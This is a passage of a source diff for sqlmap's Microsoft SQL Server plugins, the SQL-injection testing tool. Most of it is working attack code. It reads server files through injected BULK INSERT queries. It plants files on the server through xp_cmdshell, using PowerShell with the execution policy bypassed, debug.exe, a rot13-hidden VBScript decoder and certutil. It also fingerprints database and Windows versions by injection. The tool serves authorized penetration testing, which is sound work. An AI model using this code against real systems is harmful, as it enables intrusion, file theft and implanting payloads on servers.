'1': conf.db = db conf.tbl = foundTbl conf.col = column - self.getColumns(onlyColNames=True, bruteForce=False) + self.getColumns(onlyColNames=True, colTuple=(colConsider, colCondParam), bruteForce=False) - if db in kb.data.cachedColumns and foundTbl in kb.data.cachedColumns[db]\ - and not isNoneValue(kb.data.cachedColumns[db][foundTbl]): + if db in kb.data.cachedColumns and foundTbl in kb.data.cachedColumns[db] and not isNoneValue(kb.data.cachedColumns[db][foundTbl]): dbs[db][foundTbl].update(kb.data.cachedColumns[db][foundTbl]) + kb.data.cachedColumns = {} else: dbs[db][foundTbl][column] = None @@ -326,28 +385,29 @@ def searchColumn(self): if db in foundCols[column]: foundCols[column][db].append(foundTbl) else: - foundCols[column][db] = [ foundTbl ] + foundCols[column][db] = [foundTbl] else: foundCols[column][db] = [] infoMsg = "fetching number of tables containing column" if colConsider == "1": - infoMsg += "s like" + infoMsg += "s LIKE" infoMsg += " '%s' in database '%s'" % (column, db) - logger.info(infoMsg) + logger.info("%s%s" % (infoMsg, infoMsgTbl)) query = rootQuery.blind.count query = query % (db, db, db, db, db, db) query += " AND %s" % colQuery.replace("[DB]", db) - count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) + query += whereTblsQuery.replace("[DB]", db) + count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNumPosStrValue(count): warnMsg = "no tables contain column" if colConsider == "1": - warnMsg += "s like" + warnMsg += "s LIKE" warnMsg += " '%s' " % column warnMsg += "in database '%s'" % db - logger.warn(warnMsg) + logger.warning(warnMsg) continue @@ -357,8 +417,9 @@ def searchColumn(self): query = rootQuery.blind.query query = query % (db, db, db, db, db, db) query += " AND %s" % colQuery.replace("[DB]", db) + query += whereTblsQuery.replace("[DB]", db) query = agent.limitQuery(index, query, colCond.replace("[DB]", db)) - tbl = inject.getValue(query, inband=False, error=False) + tbl = inject.getValue(query, union=False, error=False) kb.hintValue = tbl tbl = safeSQLIdentificatorNaming(tbl, True) @@ -371,7 +432,7 @@ def searchColumn(self): conf.tbl = tbl conf.col = column - self.getColumns(onlyColNames=True, bruteForce=False) + self.getColumns(onlyColNames=True, colTuple=(colConsider, colCondParam), bruteForce=False) if db in kb.data.cachedColumns and tbl in kb.data.cachedColumns[db]: dbs[db][tbl].update(kb.data.cachedColumns[db][tbl]) @@ -381,4 +442,5 @@ def searchColumn(self): foundCols[column][db].append(tbl) + conf.dumper.dbColumns(foundCols, colConsider, dbs) self.dumpFoundColumn(dbs, foundCols, colConsider) diff --git a/plugins/dbms/mssqlserver/filesystem.py b/plugins/dbms/mssqlserver/filesystem.py index ef3f4c2ff7e..416cf2d28f5 100644 --- a/plugins/dbms/mssqlserver/filesystem.py +++ b/plugins/dbms/mssqlserver/filesystem.py @@ -1,37 +1,38 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import codecs import ntpath import os +from lib.core.common import checkFile from lib.core.common import getLimitRange from lib.core.common import isNumPosStrValue from lib.core.common import isTechniqueAvailable from lib.core.common import posixToNtSlashes from lib.core.common import randomStr from lib.core.common import readInput -from lib.core.convert import hexencode +from lib.core.compat import xrange +from lib.core.convert import encodeBase64 +from lib.core.convert import encodeHex from lib.core.data import conf +from lib.core.data import kb from lib.core.data import logger from lib.core.enums import CHARSET_TYPE from lib.core.enums import EXPECTED from lib.core.enums import PAYLOAD -from lib.core.exception import sqlmapNoneDataException -from lib.core.exception import sqlmapUnsupportedFeatureException +from lib.core.exception import SqlmapNoneDataException +from lib.core.exception import SqlmapUnsupportedFeatureException from lib.request import inject from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): - def __init__(self): - GenericFilesystem.__init__(self) - - def __dataToScr(self, fileContent, chunkName): + def _dataToScr(self, fileContent, chunkName): fileLines = [] fileSize = len(fileContent) lineAddr = 0x100 @@ -45,15 +46,15 @@ def __dataToScr(self, fileContent, chunkName): for fileLine in xrange(0, len(fileContent), lineLen): scrString = "" - for lineChar in fileContent[fileLine:fileLine+lineLen]: - strLineChar = hexencode(lineChar) + for lineChar in fileContent[fileLine:fileLine + lineLen]: + strLineChar = encodeHex(lineChar, binary=False) if not scrString: scrString = "e %x %s" % (lineAddr, strLineChar) else: scrString += " %s" % strLineChar - lineAddr += len(lineChar) + lineAddr += len(strLineChar) // 2 fileLines.append(scrString) @@ -62,45 +63,44 @@ def __dataToScr(self, fileContent, chunkName): return fileLines - def __updateDestChunk(self, fileContent, tmpPath): + def _updateDestChunk(self, fileContent, tmpPath): randScr = "tmpf%s.scr" % randomStr(lowercase=True) chunkName = randomStr(lowercase=True) - fileScrLines = self.__dataToScr(fileContent, chunkName) + fileScrLines = self._dataToScr(fileContent, chunkName) - logger.debug("uploading debug script to %s\%s, please wait.." % (tmpPath, randScr)) + logger.debug("uploading debug script to %s\\%s, please wait.." % (tmpPath, randScr)) self.xpCmdshellWriteFile(fileScrLines, tmpPath, randScr) - logger.debug("generating chunk file %s\%s from debug script %s" % (tmpPath, chunkName, randScr)) + logger.debug("generating chunk file %s\\%s from debug script %s" % (tmpPath, chunkName, randScr)) - commands = ( "cd %s" % tmpPath, "debug < %s" % randScr, "del /F /Q %s" % randScr ) - complComm = " & ".join(command for command in commands) + commands = ( + "cd \"%s\"" % tmpPath, + "debug < %s" % randScr, + "del /F /Q %s" % randScr + ) - self.execCmd(complComm) + self.execCmd(" & ".join(command for command in commands)) return chunkName - def unionReadFile(self, rFile): - errMsg = "Microsoft SQL Server does not support file reading " - errMsg += "with UNION query SQL injection technique" - raise sqlmapUnsupportedFeatureException(errMsg) - - def stackedReadFile(self, rFile): - infoMsg = "fetching file: '%s'" % rFile - logger.info(infoMsg) + def stackedReadFile(self, remoteFile): + if not kb.bruteMode: + infoMsg = "fetching file: '%s'" % remoteFile + logger.info(infoMsg) result = [] txtTbl = self.fileTblName - hexTbl = "%shex" % self.fileTblName + hexTbl = "%s%shex" % (self.fileTblName, randomStr()) self.createSupportTbl(txtTbl, self.tblField, "text") inject.goStacked("DROP TABLE %s" % hexTbl) inject.goStacked("CREATE TABLE %s(id INT IDENTITY(1, 1) PRIMARY KEY, %s %s)" % (hexTbl, self.tblField, "VARCHAR(4096)")) - logger.debug("loading the content of file '%s' into support table" % rFile) - inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (txtTbl, rFile, randomStr(10), randomStr(10)), silent=True) + logger.debug("loading the content of file '%s' into support table" % remoteFile) + inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (txtTbl, remoteFile, randomStr(10), randomStr(10)), silent=True) - # Reference: http://support.microsoft.com/kb/104829 + # Reference: https://web.archive.org/web/20120211184457/http://support.microsoft.com/kb/104829 binToHexQuery = """DECLARE @charset VARCHAR(16) DECLARE @counter INT DECLARE @hexstr VARCHAR(4096) @@ -143,7 +143,7 @@ def stackedReadFile(self, rFile): inject.goStacked(binToHexQuery) if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION): - result = inject.getValue("SELECT %s FROM %s ORDER BY id ASC" % (self.tblField, hexTbl), resumeValue=False, blind=False, error=False) + result = inject.getValue("SELECT %s FROM %s ORDER BY id ASC" % (self.tblField, hexTbl), resumeValue=False, blind=False, time=False, error=False) if not result: result = [] @@ -151,8 +151,8 @@ def stackedReadFile(self, rFile): if not isNumPosStrValue(count): errMsg = "unable to retrieve the content of the " - errMsg += "file '%s'" % rFile - raise sqlmapNoneDataException(errMsg) + errMsg += "file '%s'" % remoteFile + raise SqlmapNoneDataException(errMsg) indexRange = getLimitRange(count) @@ -164,60 +164,74 @@ def stackedReadFile(self, rFile): return result - def unionWriteFile(self, wFile, dFile, fileType): + def unionWriteFile(self, localFile, remoteFile, fileType, forceCheck=False): errMsg = "Microsoft SQL Server does not support file upload with " errMsg += "UNION query SQL injection technique" - raise sqlmapUnsupportedFeatureException(errMsg) + raise SqlmapUnsupportedFeatureException(errMsg) - def __stackedWriteFilePS(self, tmpPath, wFileContent, dFile, fileType): + def _stackedWriteFilePS(self, tmpPath, localFileContent, remoteFile, fileType): infoMsg = "using PowerShell to write the %s file content " % fileType - infoMsg += "to file '%s', please wait.." % dFile + infoMsg += "to file '%s'" % remoteFile logger.info(infoMsg) - randFile = "tmpf%s.txt" % randomStr(lowercase=True) - randFilePath = "%s\%s" % (tmpPath, randFile) - encodedFileContent = hexencode(wFileContent) + encodedFileContent = encodeBase64(localFileContent, binary=False) + encodedBase64File = "tmpf%s.txt" % randomStr(lowercase=True) + encodedBase64FilePath = "%s\\%s" % (tmpPath, encodedBase64File) - # TODO: need to be fixed - psString = "$s = gc '%s';$s = [string]::Join('', $s);$s = $s.Replace('`r',''); $s = $s.Replace('`n','');$b = new-object byte[] $($s.Length/2);0..$($b.Length-1) | %%{$b[$_] = [Convert]::ToByte($s.Substring($($_*2),2),16)};[IO.File]::WriteAllBytes('%s',$b)" % (randFilePath, dFile) - psString = psString.encode('utf-16le') - psString = psString.encode("base64")[:-1].replace("\n", "") + randPSScript = "tmpps%s.ps1" % randomStr(lowercase=True) + randPSScriptPath = "%s\\%s" % (tmpPath, randPSScript) - logger.debug("uploading the file hex-encoded content to %s, please wait.." % randFilePath) + localFileSize = len(encodedFileContent) + chunkMaxSize = 1024 - self.xpCmdshellWriteFile(encodedFileContent, tmpPath, randFile) + logger.debug("uploading the base64-encoded file to %s, please wait.." % encodedBase64FilePath) + + for i in xrange(0, localFileSize, chunkMaxSize): + wEncodedChunk = encodedFileContent[i:i + chunkMaxSize] + self.xpCmdshellWriteFile(wEncodedChunk, tmpPath, encodedBase64File) + + psString = "$Base64 = Get-Content -Path \"%s\"; " % encodedBase64FilePath + psString += "$Base64 = $Base64 -replace \"`t|`n|`r\",\"\"; $Content = " + psString += "[System.Convert]::FromBase64String($Base64); Set-Content " + psString += "-Path \"%s\" -Value $Content -Encoding Byte" % remoteFile + + logger.debug("uploading the PowerShell base64-decoding script to %s" % randPSScriptPath) + self.xpCmdshellWriteFile(psString, tmpPath, randPSScript) - logger.debug("converting the file utilizing PowerShell EncodedCommand") + logger.debug("executing the PowerShell base64-decoding script to write the %s file, please wait.." % remoteFile) - commands = ( "cd %s" % tmpPath, - "powershell -EncodedCommand %s" % psString, - "del /F /Q %s" % randFilePath ) - complComm = " & ".join(command for command in commands) + commands = ( + "powershell -ExecutionPolicy ByPass -File \"%s\"" % randPSScriptPath, + "del /F /Q \"%s\"" % encodedBase64FilePath, + "del /F /Q \"%s\"" % randPSScriptPath + ) - self.execCmd(complComm) + self.execCmd(" & ".join(command for command in commands)) - def __stackedWriteFileDebugExe(self, tmpPath, wFile, wFileContent, dFile, fileType): + def _stackedWriteFileDebugExe(self, tmpPath, localFile, localFileContent, remoteFile, fileType): infoMsg = "using debug.exe to write the %s " % fileType - infoMsg += "file content to file '%s', please wait.." % dFile + infoMsg += "file content to file '%s', please wait.." % remoteFile logger.info(infoMsg) - dFileName = ntpath.basename(dFile) - sFile = "%s\%s" % (tmpPath, dFileName) - wFileSize = os.path.getsize(wFile) + remoteFileName = ntpath.basename(remoteFile) + sFile = "%s\\%s" % (tmpPath, remoteFileName) + localFileSize = os.path.getsize(localFile) debugSize = 0xFF00 - if wFileSize < debugSize: - chunkName = self.__updateDestChunk(wFileContent, tmpPath) + if localFileSize < debugSize: + chunkName = self._updateDestChunk(localFileContent, tmpPath) - debugMsg = "renaming chunk file %s\%s to %s " % (tmpPath, chunkName, fileType) - debugMsg += "file %s\%s and moving it to %s" % (tmpPath, dFileName, dFile) + debugMsg = "renaming chunk file %s\\%s to %s " % (tmpPath, chunkName, fileType) + debugMsg += "file %s\\%s and moving it to %s" % (tmpPath, remoteFileName, remoteFile) logger.debug(debugMsg) - commands = ("cd \"%s\"" % tmpPath, "ren %s %s" % (chunkName, dFileName), "move /Y %s %s" % (dFileName, dFile)) - complComm = " & ".join(command for command in commands) - - self.execCmd(complComm) + commands = ( + "cd \"%s\"" % tmpPath, + "ren %s %s" % (chunkName, remoteFileName), + "move /Y %s %s" % (remoteFileName, remoteFile) + ) + self.execCmd(" & ".join(command for command in commands)) else: debugMsg = "the file is larger than %d bytes. " % debugSize debugMsg += "sqlmap will split it into chunks locally, upload " @@ -225,136 +239,188 @@ def __stackedWriteFileDebugExe(self, tmpPath, wFile, wFileContent, dFile, fileTy debugMsg += "on the server, please wait.." logger.debug(debugMsg) - for i in xrange(0, wFileSize, debugSize): - wFileChunk = wFileContent[i:i + debugSize] - chunkName = self.__updateDestChunk(wFileChunk, tmpPath) + for i in xrange(0, localFileSize, debugSize): + localFileChunk = localFileContent[i:i + debugSize] + chunkName = self._updateDestChunk(localFileChunk, tmpPath) if i == 0: debugMsg = "renaming chunk " - copyCmd = "ren %s %s" % (chunkName, dFileName) + copyCmd = "ren %s %s" % (chunkName, remoteFileName) else: debugMsg = "appending chunk " - copyCmd = "copy /B /Y %s+%s %s" % (dFileName, chunkName, dFileName) + copyCmd = "copy /B /Y %s+%s %s" % (remoteFileName, chunkName, remoteFileName) - debugMsg += "%s\%s to %s file %s\%s" % (tmpPath, chunkName, fileType, tmpPath, dFileName) + debugMsg += "%s\\%s to %s file %s\\%s" % (tmpPath, chunkName, fileType, tmpPath, remoteFileName) logger.debug(debugMsg) - commands = ("cd %s" % tmpPath, copyCmd, "del /F %s" % chunkName) - complComm = " & ".join(command for command in commands) + commands = ( + "cd \"%s\"" % tmpPath, + copyCmd, + "del /F /Q %s" % chunkName + ) - self.execCmd(complComm) + self.execCmd(" & ".join(command for command in commands)) - logger.debug("moving %s file %s to %s" % (fileType, sFile, dFile)) + logger.debug("moving %s file %s to %s" % (fileType, sFile, remoteFile)) - commands = ("cd %s" % tmpPath, "move /Y %s %s" % (dFileName, dFile)) - complComm = " & ".join(command for command in commands) + commands = ( + "cd \"%s\"" % tmpPath, + "move /Y %s %s" % (remoteFileName, remoteFile) + ) - self.execCmd(complComm) + self.execCmd(" & ".join(command for command in commands)) - def __stackedWriteFileVbs(self, tmpPath, wFileContent, dFile, fileType): + def _stackedWriteFileVbs(self, tmpPath, localFileContent, remoteFile, fileType): infoMsg = "using a custom visual basic script to write the " - infoMsg += "%s file content to file '%s', please wait.." % (fileType, dFile) + infoMsg += "%s file content to file '%s', please wait.." % (fileType, remoteFile) logger.info(infoMsg) randVbs = "tmps%s.vbs" % randomStr(lowercase=True) randFile = "tmpf%s.txt" % randomStr(lowercase=True) - randFilePath = "%s\%s" % (tmpPath, randFile) - - vbs = """Dim inputFilePath, outputFilePath - inputFilePath = "%s" - outputFilePath = "%s" - Set fs = CreateObject("Scripting.FileSystemObject") - Set file = fs.GetFile(inputFilePath) - If file.Size Then - Wscript.Echo "Loading from: " & inputFilePath - Wscript.Echo - Set fd = fs.OpenTextFile(inputFilePath, 1) - data = fd.ReadAll - fd.Close - data = Replace(data, " ", "") - data = Replace(data, vbCr, "") - data = Replace(data, vbLf, "") - Wscript.Echo "Fixed Input: " - Wscript.Echo data - Wscript.Echo - decodedData = base64_decode(data) - Wscript.Echo "Output: " - Wscript.Echo decodedData - Wscript.Echo - Wscript.Echo "Writing output in: " & outputFilePath - Wscript.Echo - Set ofs = CreateObject("Scripting.FileSystemObject").OpenTextFile(outputFilePath, 2, True) - ofs.Write decodedData - ofs.close - Else - Wscript.Echo "The file is empty." - End If - Function base64_decode(byVal strIn) - Dim w1, w2, w3, w4, n, strOut - For n = 1 To Len(strIn) Step 4 - w1 = mimedecode(Mid(strIn, n, 1)) - w2 = mimedecode(Mid(strIn, n + 1, 1)) - w3 = mimedecode(Mid(strIn, n + 2, 1)) - w4 = mimedecode(Mid(strIn, n + 3, 1)) - If Not w2 Then _ - strOut = strOut + Chr(((w1 * 4 + Int(w2 / 16)) And 255)) - If Not w3 Then _ - strOut = strOut + Chr(((w2 * 16 + Int(w3 / 4)) And 255)) - If Not w4 Then _ - strOut = strOut + Chr(((w3 * 64 + w4) And 255)) - Next - base64_decode = strOut - End Function - Function mimedecode(byVal strIn) - Base64Chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" - If Len(strIn) = 0 Then - mimedecode = -1 : Exit Function - Else - mimedecode = InStr(Base64Chars, strIn) - 1 - End If - End Function""" % (randFilePath, dFile) - + randFilePath = "%s\\%s" % (tmpPath, randFile) + + vbs = """Qvz vachgSvyrCngu, bhgchgSvyrCngu + vachgSvyrCngu = "%f" + bhgchgSvyrCngu = "%f" + Frg sf = PerngrBowrpg("Fpevcgvat.SvyrFlfgrzBowrpg") + Frg svyr = sf.TrgSvyr(vachgSvyrCngu) + Vs svyr.Fvmr Gura + Jfpevcg.Rpub "Ybnqvat sebz: " & vachgSvyrCngu + Jfpevcg.Rpub + Frg sq = sf.BcraGrkgSvyr(vachgSvyrCngu, 1) + qngn = sq.ErnqNyy + sq.Pybfr + qngn = Ercynpr(qngn, " ", "") + qngn = Ercynpr(qngn, ioPe, "") + qngn = Ercynpr(qngn, ioYs, "") + Jfpevcg.Rpub "Svkrq Vachg: " + Jfpevcg.Rpub qngn + Jfpevcg.Rpub + qrpbqrqQngn = onfr64_qrpbqr(qngn) + Jfpevcg.Rpub "Bhgchg: " + Jfpevcg.Rpub qrpbqrqQngn + Jfpevcg.Rpub + Jfpevcg.Rpub "Jevgvat bhgchg va: " & bhgchgSvyrCngu + Jfpevcg.Rpub + Frg bsf = PerngrBowrpg("Fpevcgvat.SvyrFlfgrzBowrpg").BcraGrkgSvyr(bhgchgSvyrCngu, 2, Gehr) + bsf.Jevgr qrpbqrqQngn + bsf.pybfr + Ryfr + Jfpevcg.Rpub "Gur svyr vf rzcgl." + Raq Vs + Shapgvba onfr64_qrpbqr(olIny fgeVa) + Qvz j1, j2, j3, j4, a, fgeBhg + Sbe a = 1 Gb Yra(fgeVa) Fgrc 4 + j1 = zvzrqrpbqr(Zvq(fgeVa, a, 1)) + j2 = zvzrqrpbqr(Zvq(fgeVa, a + 1, 1)) + j3 = zvzrqrpbqr(Zvq(fgeVa, a + 2, 1)) + j4 = zvzrqrpbqr(Zvq(fgeVa, a + 3, 1)) + Vs Abg j2 Gura _ + fgeBhg = fgeBhg + Pue(((j1 * 4 + Vag(j2 / 16)) Naq 255)) + Vs Abg j3 Gura _ + fgeBhg = fgeBhg + Pue(((j2 * 16 + Vag(j3 / 4)) Naq 255)) + Vs Abg j4 Gura _ + fgeBhg = fgeBhg + Pue(((j3 * 64 + j4) Naq 255)) + Arkg + onfr64_qrpbqr = fgeBhg + Raq Shapgvba + Shapgvba zvzrqrpbqr(olIny fgeVa) + Onfr64Punef = "NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm0123456789+/" + Vs Yra(fgeVa) = 0 Gura + zvzrqrpbqr = -1 : Rkvg Shapgvba + Ryfr + zvzrqrpbqr = VaFge(Onfr64Punef, fgeVa) - 1 + Raq Vs + Raq Shapgvba""" + + # NOTE: https://github.com/sqlmapproject/sqlmap/issues/5581 + vbs = codecs.decode(vbs, "rot13") vbs = vbs.replace(" ", "") - encodedFileContent = wFileContent.encode("base64")[:-1] + encodedFileContent = encodeBase64(localFileContent, binary=False) logger.debug("uploading the file base64-encoded content to %s, please wait.." % randFilePath) self.xpCmdshellWriteFile(encodedFileContent, tmpPath, randFile) - logger.debug("uploading a visual basic decoder stub %s\%s, please wait.." % (tmpPath, randVbs)) + logger.debug("uploading a visual basic decoder stub %s\\%s, please wait.." % (tmpPath, randVbs)) self.xpCmdshellWriteFile(vbs, tmpPath, randVbs) - commands = ( "cd %s" % tmpPath, "cscript //nologo %s" % randVbs, - "del /F /Q %s" % randVbs, - "del /F /Q %s" % randFile ) - complComm = " & ".join(command for command in commands) + commands = ( + "cd \"%s\"" % tmpPath, + "cscript //nologo %s" % randVbs, + "del /F /Q %s" % randVbs, + "del /F /Q %s" % randFile + ) + + self.execCmd(" & ".join(command for command in commands)) + + def _stackedWriteFileCertutilExe(self, tmpPath, localFile, localFileContent, remoteFile, fileType): + infoMsg = "using certutil.exe to write the %s " % fileType + infoMsg += "file content to file '%s', please wait.." % remoteFile + logger.info(infoMsg) + + chunkMaxSize = 500 + + randFile = "tmpf%s.txt" % randomStr(lowercase=True) + randFilePath = "%s\\%s" % (tmpPath, randFile) - self.execCmd(complComm) + encodedFileContent = encodeBase64(localFileContent, binary=False) - def stackedWriteFile(self, wFile, dFile, fileType): + splittedEncodedFileContent = '\n'.join([encodedFileContent[i:i + chunkMaxSize] for i in xrange(0, len(encodedFileContent), chunkMaxSize)]) + + logger.debug("uploading the file base64-encoded content to %s, please wait.." % randFilePath) + + self.xpCmdshellWriteFile(splittedEncodedFileContent, tmpPath, randFile) + + logger.debug("decoding the file to %s.." % remoteFile) + + commands = ( + "cd \"%s\"" % tmpPath, + "certutil -f -decode %s %s" % (randFile, remoteFile), + "del /F /Q %s" % randFile + ) + + self.execCmd(" & ".join(command for command in commands)) + + def stackedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False): # NOTE: this is needed here because we use xp_cmdshell extended # procedure to write a file on the back-end Microsoft SQL Server # file system self.initEnv() - self.getRemoteTempPath() tmpPath = posixToNtSlashes(conf.tmpPath) - dFile = posixToNtSlashes(dFile) - wFilePointer = codecs.open(wFile, "rb") - wFileContent = wFilePointer.read() - wFilePointer.close() + remoteFile = posixToNtSlashes(remoteFile) - self.__stackedWriteFileVbs(tmpPath, wFileContent, dFile, fileType) + checkFile(localFile) + localFileContent = open(localFile, "rb").read() - sameFile = self.askCheckWrittenFile(wFile, dFile, fileType) + self._stackedWriteFilePS(tmpPath, localFileContent, remoteFile, fileType) + written = self.askCheckWrittenFile(localFile, remoteFile, forceCheck) - if sameFile is False: + if written is False: message = "do you want to try to upload the file with " - message += "another technique? [Y/n] " - choice = readInput(message, default="Y") + message += "the custom Visual Basic script technique? [Y/n] " + + if readInput(message, default='Y', boolean=True): + self._stackedWriteFileVbs(tmpPath, localFileContent, remoteFile, fileType) + written = self.askCheckWrittenFile(localFile, remoteFile, forceCheck) + + if written is False: + message = "do you want to try to upload the file with " + message += "the built-in debug.exe technique? [Y/n] " + + if readInput(message, default='Y', boolean=True): + self._stackedWriteFileDebugExe(tmpPath, localFile, localFileContent, remoteFile, fileType) + written = self.askCheckWrittenFile(localFile, remoteFile, forceCheck) + + if written is False: + message = "do you want to try to upload the file with " + message += "the built-in certutil.exe technique? [Y/n] " + + if readInput(message, default='Y', boolean=True): + self._stackedWriteFileCertutilExe(tmpPath, localFile, localFileContent, remoteFile, fileType) + written = self.askCheckWrittenFile(localFile, remoteFile, forceCheck) - if not choice or choice.lower() == "y": - self.__stackedWriteFileDebugExe(tmpPath, wFile, wFileContent, dFile, fileType) - #self.__stackedWriteFilePS(tmpPath, wFileContent, dFile, fileType) + return written diff --git a/plugins/dbms/mssqlserver/fingerprint.py b/plugins/dbms/mssqlserver/fingerprint.py index 79011512d40..18b4b0beb64 100644 --- a/plugins/dbms/mssqlserver/fingerprint.py +++ b/plugins/dbms/mssqlserver/fingerprint.py @@ -1,14 +1,13 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ from lib.core.common import Backend from lib.core.common import Format -from lib.core.common import getUnicode -from lib.core.common import randomInt +from lib.core.convert import getUnicode from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -47,9 +46,9 @@ def getFingerprint(self): value += "active fingerprint: %s" % actVer if kb.bannerFp: - release = kb.bannerFp["dbmsRelease"] if 'dbmsRelease' in kb.bannerFp else None - version = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None - servicepack = kb.bannerFp["dbmsServicePack"] if 'dbmsServicePack' in kb.bannerFp else None + release = kb.bannerFp.get("dbmsRelease") + version = kb.bannerFp.get("dbmsVersion") + servicepack = kb.bannerFp.get("dbmsServicePack") if release and version and servicepack: banVer = "%s %s " % (DBMS.MSSQL, release) @@ -66,9 +65,7 @@ def getFingerprint(self): return value def checkDbms(self): - if not conf.extensiveFp and (Backend.isDbmsWithin(MSSQL_ALIASES) \ - or conf.dbms in MSSQL_ALIASES) and Backend.getVersion() and \ - Backend.getVersion().isdigit(): + if not conf.extensiveFp and Backend.isDbmsWithin(MSSQL_ALIASES): setDbms("%s %s" % (DBMS.MSSQL, Backend.getVersion())) self.getBanner() @@ -85,20 +82,30 @@ def checkDbms(self): if conf.direct: result = True else: - randInt = randomInt() - result = inject.checkBooleanExpression("BINARY_CHECKSUM(%d)=BINARY_CHECKSUM(%d)" % (randInt, randInt)) + result = inject.checkBooleanExpression("IS_SRVROLEMEMBER(NULL) IS NULL") if result: infoMsg = "confirming %s" % DBMS.MSSQL logger.info(infoMsg) - for version, check in [ ("2000", "HOST_NAME()=HOST_NAME()"), \ - ("2005", "XACT_STATE()=XACT_STATE()"), \ - ("2008", "SYSDATETIME()=SYSDATETIME()") ]: + for version, check in ( + ("Azure", "@@VERSION LIKE '%Azure%'"), + ("2025", "CHARINDEX('17.0.',@@VERSION)>0"), + ("2022", "GREATEST(NULL,NULL) IS NULL"), + ("2019", "CHARINDEX('15.0.',@@VERSION)>0"), + ("2017", "TRIM(NULL) IS NULL"), + ("2016", "ISJSON(NULL) IS NULL"), + ("2014", "CHARINDEX('12.0.',@@VERSION)>0"), + ("2012", "CONCAT(NULL,NULL)=CONCAT(NULL,NULL)"), + ("2008", "SYSDATETIME()=SYSDATETIME()"), + ("2005", "XACT_STATE()=XACT_STATE()"), + ("2000", "HOST_NAME()=HOST_NAME()"), + ): result = inject.checkBooleanExpression(check) if result: Backend.setVersion(version) + break if Backend.getVersion(): setDbms("%s %s" % (DBMS.MSSQL, Backend.getVersion())) @@ -112,7 +119,7 @@ def checkDbms(self): return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.MSSQL - logger.warn(warnMsg) + logger.warning(warnMsg) return False @@ -135,19 +142,24 @@ def checkDbmsOs(self, detailed=False): self.createSupportTbl(self.fileTblName, self.tblField, "varchar(1000)") inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "@@VERSION")) - versions = { "2003": ("5.2", (2, 1)), - # TODO: verify this - #"2003": ("6.0", (2, 1)), - "2008": ("7.0", (1,)), - "2000": ("5.0", (4, 3, 2, 1)), - "7": ("6.1", (1, 0)), - "XP": ("5.1", (2, 1)), - "NT": ("4.0", (6, 5, 4, 3, 2, 1)) } + # Reference: https://en.wikipedia.org/wiki/Comparison_of_Microsoft_Windows_versions + # https://en.wikipedia.org/wiki/Windows_NT#Releases + versions = { + "NT": ("4.0", (6, 5, 4, 3, 2, 1)), + "2000": ("5.0", (4, 3, 2, 1)), + "XP": ("5.1", (3, 2, 1)), + "2003": ("5.2", (2, 1)), + "Vista or 2008": ("6.0", (2, 1)), + "7 or 2008 R2": ("6.1", (1, 0)), + "8 or 2012": ("6.2", (0,)), + "8.1 or 2012 R2": ("6.3", (0,)), + "10 or 11 or 2016 or 2019 or 2022": ("10.0", (0,)) + } # Get back-end DBMS underlying operating system version for version, data in versions.items(): - query = "(SELECT LEN(%s) FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField) - query += "LIKE '%Windows NT " + data[0] + "%')>0" + query = "EXISTS(SELECT %s FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField) + query += "LIKE '%Windows NT " + data[0] + "%')" result = inject.checkBooleanExpression(query) if result: @@ -162,7 +174,7 @@ def checkDbmsOs(self, detailed=False): warnMsg = "unable to fingerprint the underlying operating " warnMsg += "system version, assuming it is Windows " warnMsg += "%s Service Pack %d" % (Backend.getOsVersion(), Backend.getOsServicePack()) - logger.warn(warnMsg) + logger.warning(warnMsg) self.cleanup(onlyFileTbl=True) @@ -170,13 +182,12 @@ def checkDbmsOs(self, detailed=False): # Get back-end DBMS underlying operating system service pack sps = versions[Backend.getOsVersion()][1] - for sp in sps: - query = "SELECT LEN(%s) FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField) - query += "LIKE '%Service Pack " + getUnicode(sp) + "%'" - result = inject.goStacked(query) + query = "EXISTS(SELECT %s FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField) + query += "LIKE '%Service Pack " + getUnicode(sp) + "%')" + result = inject.checkBooleanExpression(query) - if result is not None and len(result) > 0 and result[0].isdigit(): + if result: Backend.setOsServicePack(sp) break diff --git a/plugins/dbms/mssqlserver/syntax.py b/plugins/dbms/mssqlserver/syntax.py index 2307ed8f7d7..183ce9462c9 100644 --- a/plugins/dbms/mssqlserver/syntax.py +++ b/plugins/dbms/mssqlserver/syntax.py @@ -1,62 +1,24 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ -from lib.core.exception import sqlmapSyntaxException +from lib.core.convert import getOrds from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): - def __init__(self): - GenericSyntax.__init__(self) - - @staticmethod - def unescape(expression, quote=True): - if quote: - while True: - index = expression.find("'") - if index == -1: - break - - firstIndex = index + 1 - index = expression[firstIndex:].find("'") - - if index == -1: - raise 